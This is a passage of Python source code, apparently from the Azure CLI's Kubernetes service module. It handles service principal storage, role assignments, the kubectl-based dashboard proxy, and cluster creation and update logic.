service_principal, delay=2, scope=None): # AAD can have delays in propagating data, so sleep and retry hook = cli_ctx.get_progress_controller(True) hook.add(message='Waiting for AAD role to delete', value=0, total_val=1.0) logger.info('Waiting for AAD role to delete') for x in range(0, 10): hook.add(message='Waiting for AAD role to delete', value=0.1 * x, total_val=1.0) try: delete_role_assignments(cli_ctx, role=role, assignee=service_principal, scope=scope) break except CLIError as ex: raise ex except CloudError as ex: logger.info(ex) time.sleep(delay + delay * x) else: return False hook.add(message='AAD role deletion done', value=1.0, total_val=1.0) logger.info('AAD role deletion done') return True def _get_default_dns_prefix(name, resource_group_name, subscription_id): # Use subscription id to provide uniqueness and prevent DNS name clashes name_part = re.sub('[^A-Za-z0-9-]', '', name)[0:10] if not name_part[0].isalpha(): name_part = (str('a') + name_part)[0:10] resource_group_part = re.sub('[^A-Za-z0-9-]', '', resource_group_name)[0:16] return '{}-{}-{}'.format(name_part, resource_group_part, subscription_id[0:6]) # pylint: disable=too-many-locals def store_acs_service_principal(subscription_id, client_secret, service_principal, file_name='acsServicePrincipal.json'): obj = {} if client_secret: obj['client_secret'] = client_secret if service_principal: obj['service_principal'] = service_principal config_path = os.path.join(get_config_dir(), file_name) full_config = load_service_principals(config_path=config_path) if not full_config: full_config = {} full_config[subscription_id] = obj with os.fdopen(os.open(config_path, os.O_RDWR | os.O_CREAT | os.O_TRUNC, 0o600), 'w+') as spFile: json.dump(full_config, spFile) def load_acs_service_principal(subscription_id, file_name='acsServicePrincipal.json'): config_path = os.path.join(get_config_dir(), file_name) config = load_service_principals(config_path) if not config: return None return config.get(subscription_id) def load_service_principals(config_path): if not os.path.exists(config_path): return None fd = os.open(config_path, os.O_RDONLY) try: with os.fdopen(fd) as f: return shell_safe_json_parse(f.read()) except: # pylint: disable=bare-except return None def _invoke_deployment(cli_ctx, resource_group_name, deployment_name, template, parameters, validate, no_wait, subscription_id=None): from azure.mgmt.resource.resources import ResourceManagementClient from azure.mgmt.resource.resources.models import DeploymentProperties properties = DeploymentProperties(template=template, parameters=parameters, mode='incremental') smc = get_mgmt_service_client(cli_ctx, ResourceManagementClient, subscription_id=subscription_id).deployments if validate: logger.info('==== BEGIN TEMPLATE ====') logger.info(json.dumps(template, indent=2)) logger.info('==== END TEMPLATE ====') return smc.validate(resource_group_name, deployment_name, properties) return sdk_no_wait(no_wait, smc.create_or_update, resource_group_name, deployment_name, properties) def create_application(client, display_name, homepage, identifier_uris, available_to_other_tenants=False, password=None, reply_urls=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None): from azure.graphrbac.models import GraphErrorException password_creds, key_creds = _build_application_creds(password=password, key_value=key_value, key_type=key_type, key_usage=key_usage, start_date=start_date, end_date=end_date) app_create_param = ApplicationCreateParameters(available_to_other_tenants=available_to_other_tenants, display_name=display_name, identifier_uris=identifier_uris, homepage=homepage, reply_urls=reply_urls, key_credentials=key_creds, password_credentials=password_creds) try: return client.create(app_create_param) except GraphErrorException as ex: if 'insufficient privileges' in str(ex).lower(): link = 'https://docs.microsoft.com/azure/azure-resource-manager/resource-group-create-service-principal-portal' # pylint: disable=line-too-long raise CLIError("Directory permission is needed for the current user to register the application. " "For how to configure, please refer '{}'. Original error: {}".format(link, ex)) raise def _build_application_creds(password=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None): if password and key_value: raise CLIError('specify either --password or --key-value, but not both.') if not start_date: start_date = datetime.datetime.utcnow() elif isinstance(start_date, str): start_date = parse(start_date) if not end_date: end_date = start_date + relativedelta(years=1) elif isinstance(end_date, str): end_date = parse(end_date) key_type = key_type or 'AsymmetricX509Cert' key_usage = key_usage or 'Verify' password_creds = None key_creds = None if password: password_creds = [PasswordCredential(start_date=start_date, end_date=end_date, key_id=str(uuid.uuid4()), value=password)] elif key_value: key_creds = [KeyCredential(start_date=start_date, end_date=end_date, value=key_value, key_id=str(uuid.uuid4()), usage=key_usage, type=key_type)] return (password_creds, key_creds) def create_service_principal(cli_ctx, identifier, resolve_app=True, rbac_client=None): if rbac_client is None: rbac_client = get_graph_rbac_management_client(cli_ctx) if resolve_app: try: uuid.UUID(identifier) result = list(rbac_client.applications.list(filter="appId eq '{}'".format(identifier))) except ValueError: result = list(rbac_client.applications.list( filter="identifierUris/any(s:s eq '{}')".format(identifier))) if not result: # assume we get an object id result = [rbac_client.applications.get(identifier)] app_id = result[0].app_id else: app_id = identifier return rbac_client.service_principals.create(ServicePrincipalCreateParameters(app_id=app_id, account_enabled=True)) def create_role_assignment(cli_ctx, role, assignee, is_service_principal, resource_group_name=None, scope=None): return _create_role_assignment(cli_ctx, role, assignee, resource_group_name, scope, resolve_assignee=is_service_principal) def _create_role_assignment(cli_ctx, role, assignee, resource_group_name=None, scope=None, resolve_assignee=True): from azure.cli.core.profiles import ResourceType, get_sdk factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments definitions_client = factory.role_definitions scope = _build_role_scope(resource_group_name, scope, assignments_client.config.subscription_id) role_id = _resolve_role_id(role, scope, definitions_client) # If the cluster has service principal resolve the service principal client id to get the object id, # if not use MSI object id. object_id = _resolve_object_id(cli_ctx, assignee) if resolve_assignee else assignee RoleAssignmentCreateParameters = get_sdk(cli_ctx, ResourceType.MGMT_AUTHORIZATION, 'RoleAssignmentCreateParameters', mod='models', operation_group='role_assignments') parameters = RoleAssignmentCreateParameters(role_definition_id=role_id, principal_id=object_id) assignment_name = uuid.uuid4() custom_headers = None return assignments_client.create(scope, assignment_name, parameters, custom_headers=custom_headers) def delete_role_assignments(cli_ctx, ids=None, assignee=None, role=None, resource_group_name=None, scope=None, include_inherited=False, yes=None): factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments definitions_client = factory.role_definitions ids = ids or [] if ids: if assignee or role or resource_group_name or scope or include_inherited: raise CLIError('When assignment ids are used, other parameter values are not required') for i in ids: assignments_client.delete_by_id(i) return if not any([ids, assignee, role, resource_group_name, scope, assignee, yes]): from knack.prompting import prompt_y_n msg = 'This will delete all role assignments under the subscription. Are you sure?' if not prompt_y_n(msg, default="n"): return scope = _build_role_scope(resource_group_name, scope, assignments_client.config.subscription_id) assignments = _search_role_assignments(cli_ctx, assignments_client, definitions_client, scope, assignee, role, include_inherited, include_groups=False) if assignments: for a in assignments: assignments_client.delete_by_id(a.id) def _delete_role_assignments(cli_ctx, role, service_principal, delay=2, scope=None): # AAD can have delays in propagating data, so sleep and retry hook = cli_ctx.get_progress_controller(True) hook.add(message='Waiting for AAD role to delete', value=0, total_val=1.0) logger.info('Waiting for AAD role to delete') for x in range(0, 10): hook.add(message='Waiting for AAD role to delete', value=0.1 * x, total_val=1.0) try: delete_role_assignments(cli_ctx, role=role, assignee=service_principal, scope=scope) break except CLIError as ex: raise ex except CloudError as ex: logger.info(ex) time.sleep(delay + delay * x) else: return False hook.add(message='AAD role deletion done', value=1.0, total_val=1.0) logger.info('AAD role deletion done') return True def _search_role_assignments(cli_ctx, assignments_client, definitions_client, scope, assignee, role, include_inherited, include_groups): assignee_object_id = None if assignee: assignee_object_id = _resolve_object_id(cli_ctx, assignee) # always use "scope" if provided, so we can get assignments beyond subscription e.g. management groups if scope: assignments = list(assignments_client.list_for_scope( scope=scope, filter='atScope()')) elif assignee_object_id: if include_groups: f = "assignedTo('{}')".format(assignee_object_id) else: f = "principalId eq '{}'".format(assignee_object_id) assignments = list(assignments_client.list(filter=f)) else: assignments = list(assignments_client.list()) if assignments: assignments = [a for a in assignments if ( not scope or include_inherited and re.match(_get_role_property(a, 'scope'), scope, re.I) or _get_role_property(a, 'scope').lower() == scope.lower() )] if role: role_id = _resolve_role_id(role, scope, definitions_client) assignments = [i for i in assignments if _get_role_property( i, 'role_definition_id') == role_id] if assignee_object_id: assignments = [i for i in assignments if _get_role_property( i, 'principal_id') == assignee_object_id] return assignments def _get_role_property(obj, property_name): if isinstance(obj, dict): return obj[property_name] return getattr(obj, property_name) def _build_role_scope(resource_group_name, scope, subscription_id): subscription_scope = '/subscriptions/' + subscription_id if scope: if resource_group_name: err = 'Resource group "{}" is redundant because scope is supplied' raise CLIError(err.format(resource_group_name)) elif resource_group_name: scope = subscription_scope + '/resourceGroups/' + resource_group_name else: scope = subscription_scope return scope def _resolve_role_id(role, scope, definitions_client): role_id = None try: uuid.UUID(role) role_id = role except ValueError: pass if not role_id: # retrieve role id role_defs = list(definitions_client.list(scope, "roleName eq '{}'".format(role))) if not role_defs: raise CLIError("Role '{}' doesn't exist.".format(role)) if len(role_defs) > 1: ids = [r.id for r in role_defs] err = "More than one role matches the given name '{}'. Please pick a value from '{}'" raise CLIError(err.format(role, ids)) role_id = role_defs[0].id return role_id def _resolve_object_id(cli_ctx, assignee): client = get_graph_rbac_management_client(cli_ctx) result = None if assignee.find('@') >= 0: # looks like a user principal name result = list(client.users.list(filter="userPrincipalName eq '{}'".format(assignee))) if not result: result = list(client.service_principals.list( filter="servicePrincipalNames/any(c:c eq '{}')".format(assignee))) if not result: # assume an object id, let us verify it result = _get_object_stubs(client, [assignee]) # 2+ matches should never happen, so we only check 'no match' here if not result: raise CLIError("No matches in graph database for '{}'".format(assignee)) return result[0].object_id def _get_object_stubs(graph_client, assignees): params = GetObjectsParameters(include_directory_object_references=True, object_ids=assignees) return list(graph_client.objects.get_objects_by_object_ids(params)) def subnet_role_assignment_exists(cli_ctx, scope): network_contributor_role_id = "4d97b98b-1d4f-4787-a291-c67834d212e7" factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments for i in assignments_client.list_for_scope(scope=scope, filter='atScope()'): if i.scope == scope and i.role_definition_id.endswith(network_contributor_role_id): return True return False def _update_dict(dict1, dict2): cp = dict1.copy() cp.update(dict2) return cp def aks_browse(cmd, # pylint: disable=too-many-statements client, resource_group_name, name, disable_browser=False, listen_address='127.0.0.1', listen_port='8001'): if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') # verify the kube-dashboard addon was not disabled instance = client.get(resource_group_name, name) addon_profiles = instance.addon_profiles or {} addon_profile = addon_profiles.get("kubeDashboard", ManagedClusterAddonProfile(enabled=True)) if not addon_profile.enabled: raise CLIError('The kube-dashboard addon was disabled for this managed cluster.\n' 'To use "az aks browse" first enable the add-on\n' 'by running "az aks enable-addons --addons kube-dashboard".') _, browse_path = tempfile.mkstemp() aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=browse_path) # find the dashboard pod's name try: dashboard_pod = subprocess.check_output( ["kubectl", "get", "pods", "--kubeconfig", browse_path, "--namespace", "kube-system", "--output", "name", "--selector", "k8s-app=kubernetes-dashboard"], universal_newlines=True) except subprocess.CalledProcessError as err: raise CLIError('Could not find dashboard pod: {}'.format(err)) if dashboard_pod: # remove any "pods/" or "pod/" prefix from the name dashboard_pod = str(dashboard_pod).split('/')[-1].strip() else: raise CLIError("Couldn't find the Kubernetes dashboard pod.") # find the port try: dashboard_port = subprocess.check_output( ["kubectl", "get", "pods", "--kubeconfig", browse_path, "--namespace", "kube-system", "--selector", "k8s-app=kubernetes-dashboard", "--output", "jsonpath='{.items[0].spec.containers[0].ports[0].containerPort}'"] ) # output format: b"'{port}'" dashboard_port = int((dashboard_port.decode('utf-8').replace("'", ""))) except subprocess.CalledProcessError as err: raise CLIError('Could not find dashboard port: {}'.format(err)) # use https if dashboard container is using https if dashboard_port == 8443: protocol = 'https' else: protocol = 'http' proxy_url = 'http://{0}:{1}/'.format(listen_address, listen_port) dashboardURL = '{0}/api/v1/namespaces/kube-system/services/{1}:kubernetes-dashboard:/proxy/'.format(proxy_url, protocol) # launch kubectl port-forward locally to access the remote dashboard if in_cloud_console(): # TODO: better error handling here. response = requests.post('http://localhost:8888/openport/{0}'.format(listen_port)) result = json.loads(response.text) dashboardURL = '{0}api/v1/namespaces/kube-system/services/{1}:kubernetes-dashboard:/proxy/'.format( result['url'], protocol) term_id = os.environ.get('ACC_TERM_ID') if term_id: response = requests.post('http://localhost:8888/openLink/{0}'.format(term_id), json={"url": dashboardURL}) logger.warning('To view the console, please open %s in a new tab', dashboardURL) else: logger.warning('Proxy running on %s', proxy_url) logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async(dashboardURL) try: try: subprocess.check_output(["kubectl", "--kubeconfig", browse_path, "proxy", "--address", listen_address, "--port", listen_port], stderr=subprocess.STDOUT) except subprocess.CalledProcessError as err: if err.output.find(b'unknown flag: --address'): if listen_address != '127.0.0.1': logger.warning('"--address" is only supported in kubectl v1.13 and later.') logger.warning('The "--listen-address" argument will be ignored.') subprocess.call(["kubectl", "--kubeconfig", browse_path, "proxy", "--port", listen_port]) except KeyboardInterrupt: # Let command processing finish gracefully after the user presses [Ctrl+C] pass finally: if in_cloud_console(): requests.post('http://localhost:8888/closeport/8001') def _trim_nodepoolname(nodepool_name): if not nodepool_name: return "nodepool1" return nodepool_name[:12] def _add_monitoring_role_assignment(result, cluster_resource_id, cmd): service_principal_msi_id = None # Check if service principal exists, if it does, assign permissions to service principal # Else, provide permissions to MSI if ( hasattr(result, 'service_principal_profile') and hasattr(result.service_principal_profile, 'client_id') and result.service_principal_profile.client_id != 'msi' ): logger.info('valid service principal exists, using it') service_principal_msi_id = result.service_principal_profile.client_id is_service_principal = True elif ( (hasattr(result, 'addon_profiles')) and ('omsagent' in result.addon_profiles) and (hasattr(result.addon_profiles['omsagent'], 'identity')) and (hasattr(result.addon_profiles['omsagent'].identity, 'object_id')) ): logger.info('omsagent MSI exists, using it') service_principal_msi_id = result.addon_profiles['omsagent'].identity.object_id is_service_principal = False if service_principal_msi_id is not None: if not _add_role_assignment(cmd.cli_ctx, 'Monitoring Metrics Publisher', service_principal_msi_id, is_service_principal, scope=cluster_resource_id): logger.warning('Could not create a role assignment for Monitoring addon. ' 'Are you an Owner on this subscription?') else: logger.warning('Could not find service principal or user assigned MSI for role' 'assignment') def aks_create(cmd, # pylint: disable=too-many-locals,too-many-statements,too-many-branches client, resource_group_name, name, ssh_key_value, dns_name_prefix=None, location=None, admin_username="azureuser", windows_admin_username=None, windows_admin_password=None, kubernetes_version='', node_vm_size="Standard_DS2_v2", node_osdisk_size=0, node_osdisk_diskencryptionset_id=None, node_count=3, nodepool_name="nodepool1", nodepool_tags=None, nodepool_labels=None, service_principal=None, client_secret=None, no_ssh_key=False, disable_rbac=None, enable_rbac=None, enable_vmss=None, vm_set_type=None, skip_subnet_role_assignment=False, enable_cluster_autoscaler=False, cluster_autoscaler_profile=None, network_plugin=None, network_policy=None, pod_cidr=None, service_cidr=None, dns_service_ip=None, docker_bridge_address=None, load_balancer_sku=None, load_balancer_managed_outbound_ip_count=None, load_balancer_outbound_ips=None, load_balancer_outbound_ip_prefixes=None, load_balancer_outbound_ports=None, load_balancer_idle_timeout=None, outbound_type=None, enable_addons=None, workspace_resource_id=None, min_count=None, max_count=None, vnet_subnet_id=None, max_pods=0, aad_client_app_id=None, aad_server_app_id=None, aad_server_app_secret=None, aad_tenant_id=None, tags=None, node_zones=None, enable_node_public_ip=False, generate_ssh_keys=False, # pylint: disable=unused-argument enable_pod_security_policy=False, node_resource_group=None, uptime_sla=False, attach_acr=None, enable_private_cluster=False, enable_managed_identity=False, api_server_authorized_ip_ranges=None, aks_custom_headers=None, appgw_name=None, appgw_subnet_prefix=None, appgw_id=None, appgw_subnet_id=None, appgw_shared=None, appgw_watch_namespace=None, enable_aad=False, aad_admin_group_object_ids=None, no_wait=False): if not no_ssh_key: try: if not ssh_key_value or not is_valid_ssh_rsa_public_key(ssh_key_value): raise ValueError() except (TypeError, ValueError): shortened_key = truncate_text(ssh_key_value) raise CLIError('Provided ssh key ({}) is invalid or non-existent'.format(shortened_key)) subscription_id = get_subscription_id(cmd.cli_ctx) if not dns_name_prefix: dns_name_prefix = _get_default_dns_prefix(name, resource_group_name, subscription_id) rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) if location is None: location = rg_location # Flag to be removed, kept for back-compatibility only. Remove the below section # when we deprecate the enable-vmss flag if enable_vmss: if vm_set_type and vm_set_type.lower() != "VirtualMachineScaleSets".lower(): raise CLIError('enable-vmss and provided vm_set_type ({}) are conflicting with each other'. format(vm_set_type)) vm_set_type = "VirtualMachineScaleSets" vm_set_type = _set_vm_set_type(vm_set_type, kubernetes_version) load_balancer_sku = set_load_balancer_sku(load_balancer_sku, kubernetes_version) if api_server_authorized_ip_ranges and load_balancer_sku == "basic": raise CLIError('--api-server-authorized-ip-ranges can only be used with standard load balancer') agent_pool_profile = ManagedClusterAgentPoolProfile( name=_trim_nodepoolname(nodepool_name), # Must be 12 chars or less before ACS RP adds to it tags=nodepool_tags, node_labels=nodepool_labels, count=int(node_count), vm_size=node_vm_size, os_type="Linux", mode="System", vnet_subnet_id=vnet_subnet_id, availability_zones=node_zones, enable_node_public_ip=enable_node_public_ip, max_pods=int(max_pods) if max_pods else None, type=vm_set_type ) if node_osdisk_size: agent_pool_profile.os_disk_size_gb = int(node_osdisk_size) _check_cluster_autoscaler_flag(enable_cluster_autoscaler, min_count, max_count, node_count, agent_pool_profile) linux_profile = None # LinuxProfile is just used for SSH access to VMs, so omit it if --no-ssh-key was specified. if not no_ssh_key: ssh_config = ContainerServiceSshConfiguration( public_keys=[ContainerServiceSshPublicKey(key_data=ssh_key_value)]) linux_profile = ContainerServiceLinuxProfile(admin_username=admin_username, ssh=ssh_config) windows_profile = None if windows_admin_username: if windows_admin_password is None: try: windows_admin_password = prompt_pass(msg='windows-admin-password: ', confirm=True) except NoTTYException: raise CLIError('Please specify both username and password in non-interactive mode.') windows_profile = ManagedClusterWindowsProfile( admin_username=windows_admin_username, admin_password=windows_admin_password) principal_obj = _ensure_aks_service_principal(cmd.cli_ctx, service_principal=service_principal, client_secret=client_secret, subscription_id=subscription_id, dns_name_prefix=dns_name_prefix, location=location, name=name) service_principal_profile = ManagedClusterServicePrincipalProfile( client_id=principal_obj.get("service_principal"), secret=principal_obj.get("client_secret")) if attach_acr: if enable_managed_identity: if no_wait: raise CLIError('When --attach-acr and --enable-managed-identity are both specified, ' '--no-wait is not allowed, please wait until the whole operation succeeds.') else: _ensure_aks_acr(cmd.cli_ctx, client_id=service_principal_profile.client_id, acr_name_or_id=attach_acr, subscription_id=subscription_id) if (vnet_subnet_id and not skip_subnet_role_assignment and not subnet_role_assignment_exists(cmd.cli_ctx, vnet_subnet_id)): scope = vnet_subnet_id if not _add_role_assignment( cmd.cli_ctx, 'Network Contributor', service_principal_profile.client_id, scope=scope): logger.warning('Could not create a role assignment for subnet. ' 'Are you an Owner on this subscription?') load_balancer_profile = create_load_balancer_profile( load_balancer_managed_outbound_ip_count, load_balancer_outbound_ips, load_balancer_outbound_ip_prefixes, load_balancer_outbound_ports, load_balancer_idle_timeout) outbound_type = _set_outbound_type(outbound_type, network_plugin, load_balancer_sku, load_balancer_profile) network_profile = None if any([network_plugin, pod_cidr, service_cidr, dns_service_ip, docker_bridge_address, network_policy]): if not network_plugin: raise CLIError('Please explicitly specify the network plugin type') if pod_cidr and network_plugin == "azure": raise CLIError('Please use kubenet as the network plugin type when pod_cidr is specified') network_profile = ContainerServiceNetworkProfile( network_plugin=network_plugin, pod_cidr=pod_cidr, service_cidr=service_cidr, dns_service_ip=dns_service_ip, docker_bridge_cidr=docker_bridge_address, network_policy=network_policy, load_balancer_sku=load_balancer_sku.lower(), load_balancer_profile=load_balancer_profile, outbound_type=outbound_type ) else: if load_balancer_sku.lower() == "standard" or load_balancer_profile: network_profile = ContainerServiceNetworkProfile( network_plugin="kubenet", load_balancer_sku=load_balancer_sku.lower(), load_balancer_profile=load_balancer_profile, outbound_type=outbound_type, ) addon_profiles = _handle_addons_args( cmd, enable_addons, subscription_id, resource_group_name, {}, workspace_resource_id, appgw_name, appgw_subnet_prefix, appgw_id, appgw_subnet_id, appgw_shared, appgw_watch_namespace ) monitoring = False if 'omsagent' in addon_profiles: monitoring = True _ensure_container_insights_for_monitoring(cmd, addon_profiles['omsagent']) if CONST_INGRESS_APPGW_ADDON_NAME in addon_profiles: if CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID in addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config: appgw_id = addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] from msrestazure.tools import parse_resource_id, resource_id appgw_id_dict = parse_resource_id(appgw_id) appgw_group_id = resource_id( subscription=appgw_id_dict["subscription"], resource_group=appgw_id_dict["resource_group"]) if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_profile.client_id, scope=appgw_group_id): logger.warning('Could not create a role assignment for application gateway: {appgw_id} ' 'specified in {CONST_INGRESS_APPGW_ADDON_NAME} addon. ' 'Are you an Owner on this subscription?') if CONST_INGRESS_APPGW_SUBNET_ID in addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config: subnet_id = addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config[CONST_INGRESS_APPGW_SUBNET_ID] from msrestazure.tools import parse_resource_id, resource_id if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_profile.client_id, scope=subnet_id): logger.warning('Could not create a role assignment for subnet: {subnet_id} ' 'specified in {CONST_INGRESS_APPGW_ADDON_NAME} addon. ' 'Are you an Owner on this subscription?') aad_profile = None if enable_aad: if any([aad_client_app_id, aad_server_app_id, aad_server_app_secret]): raise CLIError('"--enable-aad" cannot be used together with ' '"--aad-client-app-id/--aad-server-app-id/--aad-server-app-secret"') aad_profile = ManagedClusterAADProfile( managed=True, admin_group_object_ids=_parse_comma_separated_list(aad_admin_group_object_ids), tenant_id=aad_tenant_id ) else: if aad_admin_group_object_ids is not None: raise CLIError('"--admin-aad-object-id" can only be used together with "--enable-aad"') if any([aad_client_app_id, aad_server_app_id, aad_server_app_secret]): aad_profile = ManagedClusterAADProfile( client_app_id=aad_client_app_id, server_app_id=aad_server_app_id, server_app_secret=aad_server_app_secret, tenant_id=aad_tenant_id ) # Check that both --disable-rbac and --enable-rbac weren't provided if all([disable_rbac, enable_rbac]): raise CLIError('specify either "--disable-rbac" or "--enable-rbac", not both.') api_server_access_profile = None if api_server_authorized_ip_ranges: api_server_access_profile = _populate_api_server_access_profile(api_server_authorized_ip_ranges) identity = None if enable_managed_identity: identity = ManagedClusterIdentity( type="SystemAssigned" ) enable_rbac = True if disable_rbac: enable_rbac = False mc = ManagedCluster( location=location, tags=tags, dns_prefix=dns_name_prefix, kubernetes_version=kubernetes_version, enable_rbac=enable_rbac, agent_pool_profiles=[agent_pool_profile], linux_profile=linux_profile, windows_profile=windows_profile, service_principal_profile=service_principal_profile, network_profile=network_profile, addon_profiles=addon_profiles, aad_profile=aad_profile, auto_scaler_profile=cluster_autoscaler_profile, enable_pod_security_policy=bool(enable_pod_security_policy), identity=identity, disk_encryption_set_id=node_osdisk_diskencryptionset_id, api_server_access_profile=api_server_access_profile) if node_resource_group: mc.node_resource_group = node_resource_group if enable_private_cluster: if load_balancer_sku.lower() != "standard": raise CLIError("Please use standard load balancer for private cluster") mc.api_server_access_profile = ManagedClusterAPIServerAccessProfile( enable_private_cluster=True ) if uptime_sla: mc.sku = ManagedClusterSKU( name="Basic", tier="Paid" ) headers = {} if aks_custom_headers is not None: if aks_custom_headers != "": for pair in aks_custom_headers.split(','): parts = pair.split('=') if len(parts) != 2: raise CLIError('custom headers format is incorrect') headers[parts[0]] = parts[1] # Due to SPN replication latency, we do a few retries here max_retry = 30 retry_exception = Exception(None) for _ in range(0, max_retry): try: logger.info('AKS cluster is creating, please wait...') if monitoring: # adding a wait here since we rely on the result for role assignment created_cluster = LongRunningOperation(cmd.cli_ctx)(client.create_or_update( resource_group_name=resource_group_name, resource_name=name, parameters=mc, custom_headers=headers)) cloud_name = cmd.cli_ctx.cloud.name # add cluster spn/msi Monitoring Metrics Publisher role assignment to publish metrics to MDM # mdm metrics is supported only in azure public cloud, so add the role assignment only in this cloud if cloud_name.lower() == 'azurecloud': from msrestazure.tools import resource_id cluster_resource_id = resource_id( subscription=subscription_id, resource_group=resource_group_name, namespace='Microsoft.ContainerService', type='managedClusters', name=name ) _add_monitoring_role_assignment(created_cluster, cluster_resource_id, cmd) else: created_cluster = sdk_no_wait(no_wait, client.create_or_update, resource_group_name=resource_group_name, resource_name=name, parameters=mc, custom_headers=headers).result() if enable_managed_identity and attach_acr: # Attach ACR to cluster enabled managed identity if created_cluster.identity_profile is None or \ created_cluster.identity_profile["kubeletidentity"] is None: logger.warning('Your cluster is successfully created, but we failed to attach acr to it, ' 'you can manually grant permission to the identity named <ClUSTER_NAME>-agentpool ' 'in MC_ resource group to give it permission to pull from ACR.') else: kubelet_identity_client_id = created_cluster.identity_profile["kubeletidentity"].client_id _ensure_aks_acr(cmd.cli_ctx, client_id=kubelet_identity_client_id, acr_name_or_id=attach_acr, subscription_id=subscription_id) return created_cluster except CloudError as ex: retry_exception = ex if 'not found in Active Directory tenant' in ex.message: time.sleep(3) else: raise ex raise retry_exception def aks_update(cmd, # pylint: disable=too-many-statements,too-many-branches,too-many-locals client, resource_group_name, name, enable_cluster_autoscaler=False, disable_cluster_autoscaler=False, update_cluster_autoscaler=False, cluster_autoscaler_profile=None, min_count=None, max_count=None, no_wait=False, load_balancer_managed_outbound_ip_count=None, load_balancer_outbound_ips=None, load_balancer_outbound_ip_prefixes=None, load_balancer_outbound_ports=None, load_balancer_idle_timeout=None, api_server_authorized_ip_ranges=None, enable_pod_security_policy=False, disable_pod_security_policy=False, attach_acr=None, detach_acr=None, aad_tenant_id=None, aad_admin_group_object_ids=None): update_autoscaler = enable_cluster_autoscaler or disable_cluster_autoscaler or update_cluster_autoscaler update_acr = attach_acr is not None or detach_acr is not None update_pod_security = enable_pod_security_policy or disable_pod_security_policy update_lb_profile = is_load_balancer_profile_provided(load_balancer_managed_outbound_ip_count, load_balancer_outbound_ips, load_balancer_outbound_ip_prefixes, load_balancer_outbound_ports, load_balancer_idle_timeout) update_aad_profile = not (aad_tenant_id is None and aad_admin_group_object_ids is None) # pylint: disable=too-many-boolean-expressions if not update_autoscaler and \ cluster_autoscaler_profile is None and \ not update_acr and \ not update_lb_profile \ and api_server_authorized_ip_ranges is None and \ not update_pod_security and \ not update_lb_profile and \ not update_aad_profile: raise CLIError('Please specify "--enable-cluster-autoscaler" or ' '"--disable-cluster-autoscaler" or ' '"--update-cluster-autoscaler" or ' '"--cluster-autoscaler-profile" or ' '"--enable-pod-security-policy" or ' '"--disable-pod-security-policy" or ' '"--api-server-authorized-ip-ranges" or ' '"--attach-acr" or ' '"--detach-acr" or ' '"--load-balancer-managed-outbound-ip-count" or ' '"--load-balancer-outbound-ips" or ' '"--load-balancer-outbound-ip-prefixes" or ' '"--aad-tenant-id" or ' '"--aad-admin-group-object-ids"') instance = client.get(resource_group_name, name) if update_autoscaler and len(instance.agent_pool_profiles) > 1: raise CLIError('There is more than one node pool in the cluster. Please use "az aks nodepool" command ' 'to update per node pool auto scaler settings') node_count = instance.agent_pool_profiles[0].count if min_count is None or max_count is None: if enable_cluster_autoscaler or update_cluster_autoscaler: raise CLIError('Please specifying both min-count and max-count when --enable-cluster-autoscaler or ' '--update-cluster-autoscaler set.') if min_count is not None and max_count is not None: if int(min_count) > int(max_count): raise CLIError('value of min-count should be less than or equal to value of max-count.') if int(node_count) < int(min_count) or int(node_count) > int(max_count): raise CLIError("current node count '{}' is not in the range of min-count and max-count.".format(node_count)) if enable_cluster_autoscaler: if instance.agent_pool_profiles[0].enable_auto_scaling: logger.warning('Cluster autoscaler is already enabled for this managed cluster.\n' 'Please run "az aks update --update-cluster-autoscaler" ' 'if you want to update min-count or max-count.') return None instance.agent_pool_profiles[0].min_count = int(min_count) instance.agent_pool_profiles[0].max_count = int(max_count) instance.agent_pool_profiles[0].enable_auto_scaling = True if update_cluster_autoscaler: if not instance.agent_pool_profiles[0].enable_auto_scaling: raise CLIError('Cluster autoscaler is not enabled for this managed cluster.\n' 'Run "az aks update --enable-cluster-autoscaler" ' 'to enable cluster with min-count and max-count.') instance.agent_pool_profiles[0].min_count = int(min_count) instance.agent_pool_profiles[0].max_count = int(max_count) if disable_cluster_autoscaler: if not instance.agent_pool_profiles[0].enable_auto_scaling: logger.warning('Cluster autoscaler is already disabled for this managed cluster.') return None instance.agent_pool_profiles[0].enable_auto_scaling = False instance.agent_pool_profiles[0].min_count = None instance.agent_pool_profiles[0].max_count = None # if intention is to clear profile if cluster_autoscaler_profile == {}: instance.auto_scaler_profile = {} # else profile is provided, update instance profile if it exists elif cluster_autoscaler_profile: instance.auto_scaler_profile = _update_dict(instance.auto_scaler_profile.__dict__, dict((key.replace("-", "_"), value) for (key, value) in cluster_autoscaler_profile.items())) \ if instance.auto_scaler_profile else cluster_autoscaler_profile if enable_pod_security_policy and disable_pod_security_policy: raise CLIError('Cannot specify --enable-pod-security-policy and --disable-pod-security-policy ' 'at the same time.') if enable_pod_security_policy: instance.enable_pod_security_policy = True if disable_pod_security_policy: instance.enable_pod_security_policy = False if update_lb_profile: instance.network_profile.load_balancer_profile = update_load_balancer_profile( load_balancer_managed_outbound_ip_count, load_balancer_outbound_ips, load_balancer_outbound_ip_prefixes, load_balancer_outbound_ports, load_balancer_idle_timeout, instance.network_profile.load_balancer_profile) if attach_acr and detach_acr: raise CLIError('Cannot specify "--attach-acr" and "--detach-acr" at the same time.') subscription_id = get_subscription_id(cmd.cli_ctx) client_id = "" if instance.identity is not None and instance.identity.type == "SystemAssigned": if instance.identity_profile is None or instance.identity_profile["kubeletidentity"] is None: raise CLIError('Unexpected error getting kubelet\'s identity for the cluster. ' 'Please do not set --attach-acr or --detach-acr. ' 'You can manually grant or revoke permission to the identity named ' '<ClUSTER_NAME>-agentpool in MC_ resource group to access ACR.') client_id = 